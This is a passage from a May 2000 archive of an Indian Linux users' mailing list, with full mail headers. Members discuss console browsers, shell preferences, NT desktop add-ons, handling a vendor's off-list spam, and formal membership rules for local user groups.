Yahoo. Lynx has its uses. But let us not exclusively say that it is the beginning and end of browsing. Trivia: Did you guys know that the original developer of Lynx (Lou Montulli?) joined the NSCA gang to form Netscape Communications? > -- what do you do on a console ? Run Netscape ? How many people work on a pure console? You might have a single telnet window open on your WinDOS box. Or you might be ssh-ed into another Linux box from your Linux box. The thing to note is that in both cases, you have access to the Netscape that is installed on the local machine. > Well... *shrug* -- > truthfully, a real system administrator should be able to compose/read > emails with just a telnet client, work full-time on a console, A *real* sys admin should be able to read an email talking POP / IMAP to a server. ;-) > Another notable thing is when people switch to > OpenBSD if ever they do -- I don't know how FreeBSD works here -- they > notice that they dont have the bash complete ... and begin > bitching about it... Judging by their prefernece of shell (bash), I suspect that these are those damn rabid GNU/Linux zealots raised on a staple of RedHat or Debian. My understanding was that in the *BSD world *csh was the preferred shell. Thaths -- Marge: Can we get rid of this Ayatollah T-shirt? Khomeini died years ago. Homer: But, Marge! It works on _any_ Ayatollah: Ayatollah Nakhbadeh, Ayatollah Zahedi...even as we speak, Ayatollah Razmada and his cadre of fanatics are consolidating their power. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-general-owner@lists.linux-india.org Mon May 22 17:49:34 2000 Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47]) by www.aunet.org (Postfix) with ESMTP id E39873806A for ; Mon, 22 May 2000 17:49:30 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.8.5/8.8.5) with ESMTP id RAA24320 for ; Mon, 22 May 2000 17:45:47 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FUZMAH00.736 for ; Mon, 22 May 2000 17:49:29 -0700 Message-ID: <3929D599.D0720A9A@netscape.com> Date: Mon, 22 May 2000 17:49:29 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-general@lists.linux-india.org Subject: Re: [LIP] Browser Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/94 [moving to LIG] Arun Sharma proclaimed: > On Mon, May 22, 2000 at 10:14:22PM +0530, Shourya Sarcar wrote: > > Do you mean to say that using the bash auto-completion is weeniesm ? > > I particularly find it very nifty and useful and hate MS (one of the 1002 > > reasons) for not having incorporated this feature in the NT/98/2K versions > > (DOS VM/interface) > It's a registry setting on NT. Look in ntfaq.com. Really? Wow! Is there some software that I can install on NT that will give me multiple desktops and a desktop pager like in most of the WMs? Thaths -- Marge: Can we get rid of this Ayatollah T-shirt? Khomeini died years ago. Homer: But, Marge! It works on _any_ Ayatollah: Ayatollah Nakhbadeh, Ayatollah Zahedi...even as we speak, Ayatollah Razmada and his cadre of fanatics are consolidating their power. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-general-owner@lists.linux-india.org Mon May 22 19:01:36 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id C4E1E3806A for ; Mon, 22 May 2000 19:01:32 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id TAA10759; Mon, 22 May 2000 19:01:15 -0700 Date: Mon, 22 May 2000 19:01:15 -0700 From: Arun Sharma To: Sudhakar Chandra Cc: linux-india-general@lists.linux-india.org, ravikant@mailandnews.com Subject: Re: Re: [LIP] Browser Message-ID: <20000522190115.A10721@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <3929D4E1.D8030EE5@netscape.com>; from Sudhakar Chandra on Mon, May 22, 2000 at 05:46:25PM -0700 X-Archive-Number: 200005/95 On Mon, May 22, 2000 at 05:46:25PM -0700, Sudhakar Chandra wrote: > > Another notable thing is when people switch to > > OpenBSD if ever they do -- I don't know how FreeBSD works here -- they > > notice that they dont have the bash complete ... and begin > > bitching about it... > > Judging by their prefernece of shell (bash), I suspect that these are those > damn rabid GNU/Linux zealots raised on a staple of RedHat or Debian. My > understanding was that in the *BSD world *csh was the preferred shell. It was a little bit of NIH. It's the default on FreeBSD, because BSD guys invented it. As Tom Christiansen would tell you, programming using that shell could do bad things to your mental health. I'm surprised to see that I'm the only one among the 20-30 UNIX developers at my work place, who uses bash. Everyone else uses tcsh. Jordan Hubbard uses bash, BTW. $ finger jkh@freebsd.org [freebsd.org] Login: jkh Name: Jordan K. Hubbard Directory: /home/jkh Shell: /usr/local/bin/bash Office: Walnut Creek CDROM Office Phone: +1 925 682 7859 -Arun From linux-india-general-owner@lists.linux-india.org Mon May 22 19:04:00 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 12C853806A for ; Mon, 22 May 2000 19:03:57 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id TAA10776 for linux-india-general@lists.linux-india.org; Mon, 22 May 2000 19:03:40 -0700 Date: Mon, 22 May 2000 19:03:40 -0700 From: Arun Sharma To: linux-india-general@lists.linux-india.org Subject: Re: Re: [LIP] Browser Message-ID: <20000522190340.B10721@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <3929D599.D0720A9A@netscape.com>; from Sudhakar Chandra on Mon, May 22, 2000 at 05:49:29PM -0700 X-Archive-Number: 200005/96 On Mon, May 22, 2000 at 05:49:29PM -0700, Sudhakar Chandra wrote: > [moving to LIG] > > Arun Sharma proclaimed: > > On Mon, May 22, 2000 at 10:14:22PM +0530, Shourya Sarcar wrote: > > > Do you mean to say that using the bash auto-completion is weeniesm ? > > > I particularly find it very nifty and useful and hate MS (one of the 1002 > > > reasons) for not having incorporated this feature in the NT/98/2K versions > > > (DOS VM/interface) > > It's a registry setting on NT. Look in ntfaq.com. > > > Really? Wow! Is there some software that I can install on NT that will > give me multiple desktops and a desktop pager like in most of the WMs? > I was talking about auto-completion. -Arun From linux-india-general-owner@lists.linux-india.org Mon May 22 20:09:18 2000 Received: from blr.vsnl.net.in (blr.vsnl.net.in [202.54.12.6]) by www.aunet.org (Postfix) with ESMTP id 4F91438087 for ; Mon, 22 May 2000 20:09:09 -0700 (PDT) Received: from udhay (PPP-177-52.bng.vsnl.net.in [203.197.177.52]) by blr.vsnl.net.in (8.9.3/8.9.3) with ESMTP id IAA02126; Tue, 23 May 2000 08:29:39 +0530 (IST) X-Pgp-Dsskey: 0x55FAB8D3 X-Pgp-Rsakey: 0xCAA67415 Message-Id: <4.2.0.58.20000523082141.00984a30@oyemail.com> X-Nil: Date: Tue, 23 May 2000 08:26:17 +0530 To: Sudhakar Chandra , linux-india-general@lists.linux-india.org From: Udhay Shankar N Subject: Re: [OT] Linux Geek Reading Tastes In-Reply-To: <39297350.294D3843@netscape.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Archive-Number: 200005/97 [a meta-comment to start with: I do not believe this is offtopic for LIG. It would be boring indeed if the only thing we had to do for fun is to have license wars...;-)] At 10:50 AM 5/22/00 -0700, Sudhakar Chandra wrote: >* Geeks in the US tend to be over-the-average-weight, bearded / long haired >(generally unkempt) social misfits. In India they tend to be skinny, >bespectacled and more conformistic and socially - adjusted. I will note here that Thaths is reasonably skinny and used to wear glasses. He's socially well-adjusted as well (one good turn deserves another) >* Geeks tend to use SF / fantasy as an escape from reality. (I'll probably >be boo-ed off stage for this). This, I'm not so sure about. It probably has at least a little to do with the fact that the geek community, almost by deifinition, has low resistance to change (which is a GOOD THING. How many of you still use 486s ?) and is thus more open to reading stuff set in different milieus. Udhay -- _____________________________________________________________________ http://www.unimobile.com/ http://pobox.com/~udhay Unimobile - the world's first internet mobile Now Live ! From linux-india-general-owner@lists.linux-india.org Mon May 22 21:24:31 2000 Received: from stpb.soft.net (stpb.soft.net [164.164.4.5]) by www.aunet.org (Postfix) with ESMTP id 1A4613806D for ; Mon, 22 May 2000 21:24:25 -0700 (PDT) Received: from kd1 ([164.164.82.20]) by stpb.soft.net (8.8.8+Sun/8.8.8) with SMTP id KAA29028 for ; Tue, 23 May 2000 10:06:17 -0500 (GMT) Message-ID: <009101bfc46f$9ccc9390$6f0110ac@subexblr> From: "Dakshinamurthy K" To: Subject: Re: Re: [LIP] Browser Date: Tue, 23 May 2000 09:59:07 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-Archive-Number: 200005/98 ----- Original Message ----- From: Sudhakar Chandra To: Sent: Tuesday, May 23, 2000 6:19 AM Subject: [LIG] Re: [LIP] Browser > Really? Wow! Is there some software that I can install on NT that will > give me multiple desktops and a desktop pager like in most of the WMs? Litestep is a shell replacement for Windows 95, 98, and NT, that will give your Windows desktop the AfterSTEP look & feel. It consists of a Wharf toolbar, a popup menu and some modules. The Wharf toolbar is used to organize your most-used applications & modules. The Popup menu will automatically give you access to all installed applications via its included "Start Menu," as well as any other folders and applications you choose. The modules are designed for particular functions, such as a clock, temperature monitor, WinAMP plugin, Virtual Window Manager, CPU load monitor, etc Check out: www.litestep.com ;-) -- KD From linux-india-general-owner@lists.linux-india.org Mon May 22 21:36:32 2000 Received: from svrsdfbldg.tcscal.co.in (unknown [206.103.11.137]) by www.aunet.org (Postfix) with SMTP id 9B0D6380A8 for ; Mon, 22 May 2000 21:35:22 -0700 (PDT) Received: from iname.com ([172.18.10.102]) by svrsdfbldg.tcscal.co.in (Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) with SMTP id 652568E8.00197146; Tue, 23 May 2000 10:07:54 +0530 Message-ID: <392A0A70.A05E5C55@iname.com> Date: Tue, 23 May 2000 10:04:56 +0530 From: Robin Chatterjee Organization: Tata Consultancy Services X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Sudhakar Chandra , Linux India General Subject: Re: {OT] Browser,pager and multiple desktops Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/99 sure check out zddesk for multiple desktops. there are also pagers I think if you install litestep you'll get one. I set up autocompletion ( it works only on Nt) cheerio Robin Sudhakar Chandra wrote: > [moving to LIG] > > Arun Sharma proclaimed: > > On Mon, May 22, 2000 at 10:14:22PM +0530, Shourya Sarcar wrote: > > > Do you mean to say that using the bash auto-completion is weeniesm ? > > > I particularly find it very nifty and useful and hate MS (one of the 1002 > > > reasons) for not having incorporated this feature in the NT/98/2K versions > > > (DOS VM/interface) > > It's a registry setting on NT. Look in ntfaq.com. > > Really? Wow! Is there some software that I can install on NT that will > give me multiple desktops and a desktop pager like in most of the WMs? > > Thaths > -- > Marge: Can we get rid of this Ayatollah T-shirt? Khomeini died years ago. > Homer: But, Marge! It works on _any_ Ayatollah: Ayatollah Nakhbadeh, > Ayatollah Zahedi...even as we speak, Ayatollah Razmada and his cadre > of fanatics are consolidating their power. > Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave > > ----------------------------------------------------------------------- > For more information on the LIG mailing list see: > http://lists.linux-india.org/lists/LIG -- _END_ Robin S Chatterjee Yahoo pager ID -Robinchatterjee mailto:robinsc@iname.com mailto:robins_chatterjee@tcscal.co.in FAX 1-(815)550-6171 Robin's Poetry Pages http://www.geocities.com/singerosongs Robin's Perl Pages http://www.geocities.com/robinchatterjee From linux-india-general-owner@lists.linux-india.org Mon May 22 21:48:39 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id D0B24381AB for ; Mon, 22 May 2000 21:48:33 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id KAAAA07210; Tue, 23 May 2000 10:17:53 +0530 (IST) Date: Tue, 23 May 2000 10:17:53 +0530 From: Suresh Ramasubramanian To: Sudhakar Chandra Cc: dodobh@nettaxi.com, linux-india-general@lists.linux-india.org Subject: Re: Message-ID: <20000523101753.I5589@staff.juno.com> Mail-Followup-To: Sudhakar Chandra , dodobh@nettaxi.com, linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3929749D.DE2E9837@netscape.com>; from thaths@netscape.com on Mon, May 22, 2000 at 10:55:41AM -0700 Organization: Juno Abuse Desk X-Archive-Number: 200005/100 Sudhakar Chandra saw fit to inform LI that: >Devdas Bhagat proclaimed: >> ps, how about fixing the reply-to line? I hate replying to personal >> addresses when I am replying to the list > > >That is not a bug. It is a [[random]] feature. ^^^^ quote attributed to Rich Kulawiec (one of the _really_ old hands on the net) :) Reply-To: sender on the list is a bad idea btw ... set reply-to back to the list :) -- Suresh Ramasubramanian | sureshr at staff.juno.com Never commit yourself! Let someone else commit you. From linux-india-general-owner@lists.linux-india.org Mon May 22 21:49:39 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 3778D3821D for ; Mon, 22 May 2000 21:49:34 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id KAAAA07242; Tue, 23 May 2000 10:19:24 +0530 (IST) Date: Tue, 23 May 2000 10:19:24 +0530 From: Suresh Ramasubramanian To: Sudhakar Chandra Cc: linux-india-general@lists.linux-india.org Subject: Re: Re: [LIH] Fwd: Kylix Kickoff Message-ID: <20000523101924.J5589@staff.juno.com> Mail-Followup-To: Sudhakar Chandra , linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <39296E2B.5D4D44FE@netscape.com>; from thaths@netscape.com on Mon, May 22, 2000 at 10:28:11AM -0700 Organization: Juno Abuse Desk X-Archive-Number: 200005/101 Sudhakar Chandra saw fit to inform LI that: >> If you are also being contacted offlist despite repeated requests, it is >> clearly spam, and you have two options -- >> >> 1. Block gtcdrom@vsnl.com from the LIH list (pity, as they are Cheapbytes >> affiliates in India) and put this addy and gtcdrom.com (their domain) in >> your /etc/mail/deny.db (oh hell, you're running postfix, right - do the >> equivalent thing in postfix) > >That, IMO, is overkill. I haven't complained much about GT Enterprises >because they are doing a good job with supplying India with CDs and it only >takes me a few seconds to delete their spam. Like I said - you have several options. Just Hit Delete is a simple thing to do (or just set a filter from thaths@netscape.com to bounce all mails directly to you but not sent to the list). That way, they can stay on the list - and not spam you. -- Suresh Ramasubramanian | sureshr at staff.juno.com Never commit yourself! Let someone else commit you. From linux-india-general-owner@lists.linux-india.org Tue May 23 00:49:15 2000 Received: from web206.mail.yahoo.com (web206.mail.yahoo.com [128.11.68.106]) by www.aunet.org (Postfix) with SMTP id 683A138074 for ; Tue, 23 May 2000 00:49:10 -0700 (PDT) Received: (qmail 11571 invoked by uid 60001); 23 May 2000 07:49:09 -0000 Message-ID: <20000523074909.11570.qmail@web206.mail.yahoo.com> Received: from [202.54.89.129] by web206.mail.yahoo.com; Tue, 23 May 2000 00:49:09 PDT Date: Tue, 23 May 2000 00:49:09 -0700 (PDT) From: Biju Chacko Reply-To: botsie@mail.com Subject: Re: Re: [LIP] Browser To: Dakshinamurthy K , linux-india-general@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/102 --- Dakshinamurthy K wrote: > ----- Original Message ----- > From: Sudhakar Chandra > To: > Sent: Tuesday, May 23, 2000 6:19 AM > Subject: [LIG] Re: [LIP] Browser > > > Really? Wow! Is there some software that I can install on NT that > will > > give me multiple desktops and a desktop pager like in most of the > WMs? > > Litestep is a shell replacement for Windows 95, 98, and NT, that will > give > your Windows desktop the AfterSTEP look & feel. ---- > Check out: www.litestep.com ;-) There are several other apps that provide similar or complementary features including WindowBlinds which allows you to change the window decorations to provide a MacOS/BeOS/etcOS look. The downside is that these kind of customisations are not M$ approved so they may break other (possibly unrelated) apps and vice versa. I speak from bitter experience. :-( I have finally come to the conclusion that if you _have_ to use NT then use plain vanilla NT with only M$ apps (and pray a lot). Biju ===== ------------------------------------------------------------ Biju "Botsie" Chacko Murphy's Law of File Transfers: If a file takes more than 30 minutes to download, someone in your house will pick up the phone within the last 15 seconds. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From linux-india-general-owner@lists.linux-india.org Tue May 23 00:59:48 2000 Received: from internal.palcom.net (unknown [216.6.88.130]) by www.aunet.org (Postfix) with ESMTP id B977B38074 for ; Tue, 23 May 2000 00:59:36 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id NAA21884; Tue, 23 May 2000 13:28:32 +0530 From: Raju Mathur MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14634.14888.668292.529055@malhaar.internal.palcom.net> Date: Tue, 23 May 2000 13:28:32 +0530 (IST) To: Sudhakar Chandra Cc: linux-india-general@lists.linux-india.org Subject: Re: Re: [LIH] Fwd: Kylix Kickoff In-Reply-To: <39296E2B.5D4D44FE@netscape.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org X-Archive-Number: 200005/103 >>>>> "Thaths" == Sudhakar Chandra writes: Thaths> Suresh Ramasubramanian proclaimed: >> 1. Block gtcdrom@vsnl.com from the LIH list (pity, as they are >> Cheapbytes affiliates in India) and put this addy and >> gtcdrom.com (their domain) in your /etc/mail/deny.db (oh hell, >> you're running postfix, right - do the equivalent thing in >> postfix) Thaths> That, IMO, is overkill. I haven't complained much about Thaths> GT Enterprises because they are doing a good job with Thaths> supplying India with CDs and it only takes me a few Thaths> seconds to delete their spam. I disagree. Blocking spam isn't a matter of opinion, it should be one rule applied to all. If we block (e.g.) Inprise from posting commercial messages to the list, we should by the same token block GT too. However, I'd be glad to see a rule which permits GT to continue sending commercial messages while blocking absolute lamer organisations. My suggestion is that we leave it to the judgement of the people running the list... a bit of despotism is useful to cut through red tape once in a while. Regards, -- Raju From linux-india-general-owner@lists.linux-india.org Tue May 23 01:10:58 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 8FE5C38074 for ; Tue, 23 May 2000 01:10:53 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id NAAAA17238; Tue, 23 May 2000 13:40:28 +0530 (IST) Date: Tue, 23 May 2000 13:40:28 +0530 From: Suresh Ramasubramanian To: Raju Mathur Cc: Sudhakar Chandra , linux-india-general@lists.linux-india.org Subject: Re: Re: [LIH] Fwd: Kylix Kickoff Message-ID: <20000523134028.E13019@staff.juno.com> Mail-Followup-To: Raju Mathur , Sudhakar Chandra , linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <14634.14888.668292.529055@malhaar.internal.palcom.net>; from raju@linux-delhi.org on Tue, May 23, 2000 at 01:28:32PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/104 Raju Mathur saw fit to inform LI that: >I disagree. Blocking spam isn't a matter of opinion, it should be one >rule applied to all. If we block (e.g.) Inprise from posting >commercial messages to the list, we should by the same token block GT >too. That's not the issue at all. GT Enterprises (or any other "dotcom" freeclue: If anyone who is reading this list is following such tactics, read http://www.efuse.com/Grow/direct_email_marketing_.html http://www.efuse.com/Grow/postage_due.html If that does not give enough of a clue, read http://www.mail-abuse.org/rbl/manage.html and http://www.mail-abuse.org/rbl/candidacy.html Suresh Ramasubramanian | sureshr at staff.juno.com A well adjusted person is one who makes the same mistake twice without getting nervous. From linux-india-general-owner@lists.linux-india.org Tue May 23 01:17:38 2000 Received: from internal.palcom.net (unknown [216.6.88.130]) by www.aunet.org (Postfix) with ESMTP id 1BF3038208 for ; Tue, 23 May 2000 01:17:29 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id MAA21067; Tue, 23 May 2000 12:37:36 +0530 From: Raju Mathur MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14634.11831.941745.702453@malhaar.internal.palcom.net> Date: Tue, 23 May 2000 12:37:35 +0530 (IST) To: Atul Chitnis Cc: Linux India General Subject: Formal Member Registration In-Reply-To: X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org X-Archive-Number: 200005/105 We went through some soul-searching on this matter for the ILUG-Delhi registration, and came up with: - Anyone can become an associate member. Associate membership does not give you voting rights. This is primarily meant for students. - Full membership will have an annual fee of Rs. 50-100. Full membership gives you voting rights. - There is no membership card or any other identification except the receipt you get from the society and your name in the records. Damn, we passed 1984 a long time ago! - There is no life membership, to ensure that deadwood is kept to a minimum. HTH, -- Raju >>>>> "Atul" == Atul Chitnis writes: Atul> All: ILUG-Bangalore is growing rapidly. With 300++ members Atul> and more joing daily, and with all the activities here Atul> (probably making it the largest and most active ILUG in Atul> India), I have proposed that we should now start looking at Atul> a formal membership process. Atul> ILUG Bangalore will be involved in several big events in the Atul> coming months, so it is important that we get this done and Atul> get this done right ASAP. Atul> Since I would like to see uniformity across the country, I Atul> thought I'd kick off a discussion here to see what other Atul> people have to say about it. Atul> What should this formal membership process entail? Some form Atul> of membership fee, a membership card, etc? There have been Atul> proposals of differential membership fees Atul> (student/non-student) but since I am *not* talking about a Atul> 100K joining fee, I don't think that is feasible or even Atul> desirable. Atul> What says the group? Atul> Atul From linux-india-general-owner@lists.linux-india.org Tue May 23 01:19:10 2000 Received: from internal.palcom.net (unknown [216.6.88.130]) by www.aunet.org (Postfix) with ESMTP id AEA8938215 for ; Tue, 23 May 2000 01:19:01 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id NAA22298; Tue, 23 May 2000 13:48:13 +0530 From: Raju Mathur MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14634.16069.835216.486039@malhaar.internal.palcom.net> Date: Tue, 23 May 2000 13:48:13 +0530 (IST) To: Sudhakar Chandra Cc: linux-india-general@lists.linux-india.org Subject: Re: [LIP] Browser In-Reply-To: <3929D599.D0720A9A@netscape.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org X-Archive-Number: 200005/106 >>>>> "Thaths" == Sudhakar Chandra writes: Thaths> [moving to LIG] Arun Sharma proclaimed: >> On Mon, May 22, 2000 at 10:14:22PM +0530, Shourya Sarcar wrote: >> > Do you mean to say that using the bash auto-completion is >> weeniesm ? > I particularly find it very nifty and useful and >> hate MS (one of the 1002 > reasons) for not having incorporated >> this feature in the NT/98/2K versions > (DOS VM/interface) It's >> a registry setting on NT. Look in ntfaq.com. Thaths> Really? Wow! Is there some software that I can install Thaths> on NT that will give me multiple desktops and a desktop Thaths> pager like in most of the WMs? FVWM for Winduhs should do that. Disclaimer: I've just heard about it, never run it. BTW, IMHO the most important reason for using -completion is to avoid mispelling filenames. -- Raju From linux-india-general-owner@lists.linux-india.org Tue May 23 01:27:30 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id 8E5AA38105 for ; Tue, 23 May 2000 01:27:23 -0700 (PDT) Received: from localhost (achitnis@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id NAA12769; Tue, 23 May 2000 13:56:46 +0530 Date: Tue, 23 May 2000 13:56:46 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Bangalore IT.COM 2000 Message-ID: Organisation: Exocore Consulting (P) Limited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/107 Today's Economic Times carries an advertisement for Bangalore IT.COM 2000. The Linux Pavilion (called "linux.org") is one of the official pavilions. Here we go again.... ;-) Atul -------------------------------------------------------- Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) Exocore Consulting | http://www.exocore.com Bangalore, India | +91(80)3440397 Fax +91(80)3341137 -------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Tue May 23 14:59:54 2000 Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by www.aunet.org (Postfix) with ESMTP id 736E338065 for ; Tue, 23 May 2000 14:59:52 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.8.5/8.8.5) with ESMTP id OAA02358 for ; Tue, 23 May 2000 14:53:01 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FV193Q01.FEI for ; Tue, 23 May 2000 14:59:50 -0700 Message-ID: <392AFF56.5E266E5B@netscape.com> Date: Tue, 23 May 2000 14:59:50 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-general@lists.linux-india.org Subject: Re: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/108 Suresh Ramasubramanian proclaimed: > Reply-To: sender on the list is a bad idea btw ... set reply-to back > to the list :) http://www.unicom.com/pw/reply-to-harmful.html Thaths -- Marge: Can we get rid of this Ayatollah T-shirt? Khomeini died years ago. Homer: But, Marge! It works on _any_ Ayatollah: Ayatollah Nakhbadeh, Ayatollah Zahedi...even as we speak, Ayatollah Razmada and his cadre of fanatics are consolidating their power. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-general-owner@lists.linux-india.org Tue May 23 15:02:41 2000 Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by www.aunet.org (Postfix) with ESMTP id 6892F3822A for ; Tue, 23 May 2000 15:02:34 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.8.5/8.8.5) with ESMTP id OAA02766 for ; Tue, 23 May 2000 14:55:36 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FV198100.KEL for ; Tue, 23 May 2000 15:02:25 -0700 Message-ID: <392AFFF1.B06CA9B7@netscape.com> Date: Tue, 23 May 2000 15:02:25 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-general@lists.linux-india.org Subject: Re: Re: [LIH] Fwd: Kylix Kickoff Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/109 Suresh Ramasubramanian proclaimed: > That's not the issue at all. GT Enterprises (or any other "dotcom" _how_ I hate that term) is perfectly free to post on-topic ads to the > list, with a COMMERCIAL: tag in the subject. The LI charter allows this. > > However, GT was sending its pricelist to Thaths - offlist, to his personal > mail id - when he hadn't asked for or subscribed to it. Here is my dilemma: One the one hand GT has been spamming me off-line. As a person I am tempted to complain about this to GT's upstream ISP. As the Li List Admin GT has been pretty good about prefixing posts with COMMERCIAL tags. furthermore, GT provides a decent and useful service to Linux enthusiasts in India. I am afraid that if I act as an individual, it will be counterproductive to my interests as LI List Admin. That is why I have chosen to turn a blind eye to GT's personal spam. Thaths -- Marge: Can we get rid of this Ayatollah T-shirt? Khomeini died years ago. Homer: But, Marge! It works on _any_ Ayatollah: Ayatollah Nakhbadeh, Ayatollah Zahedi...even as we speak, Ayatollah Razmada and his cadre of fanatics are consolidating their power. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-general-owner@lists.linux-india.org Tue May 23 22:02:05 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id A60EF381DE for ; Tue, 23 May 2000 22:02:00 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id KAAAA17627; Wed, 24 May 2000 10:31:42 +0530 (IST) Date: Wed, 24 May 2000 10:31:41 +0530 From: Suresh Ramasubramanian To: Sudhakar Chandra Cc: linux-india-general@lists.linux-india.org Subject: Re: Re: [LIH] Fwd: Kylix Kickoff Message-ID: <20000524103141.G16233@staff.juno.com> Mail-Followup-To: Sudhakar Chandra , linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <392AFFF1.B06CA9B7@netscape.com>; from thaths@netscape.com on Tue, May 23, 2000 at 03:02:25PM -0700 Organization: Juno Abuse Desk X-Archive-Number: 200005/110 Sudhakar Chandra saw fit to inform LI that: >Here is my dilemma: One the one hand GT has been spamming me off-line. As >a person I am tempted to complain about this to GT's upstream ISP. As the >Li List Admin GT has been pretty good about prefixing posts with COMMERCIAL Like you _yourself_ said in a previous post, "If I sign my mail as Thaths, I am speaking for myself, if I sign as LI Admin I am speaking as the list admin". Yes - but you _can_ bounce their mail from your personal mailbox (which is hosted by netscape.com) while accepting their mail to LI - nothing stops you from doing it. Like Don Corleone says, it's just business, its not personal :) >enthusiasts in India. I am afraid that if I act as an individual, it will >be counterproductive to my interests 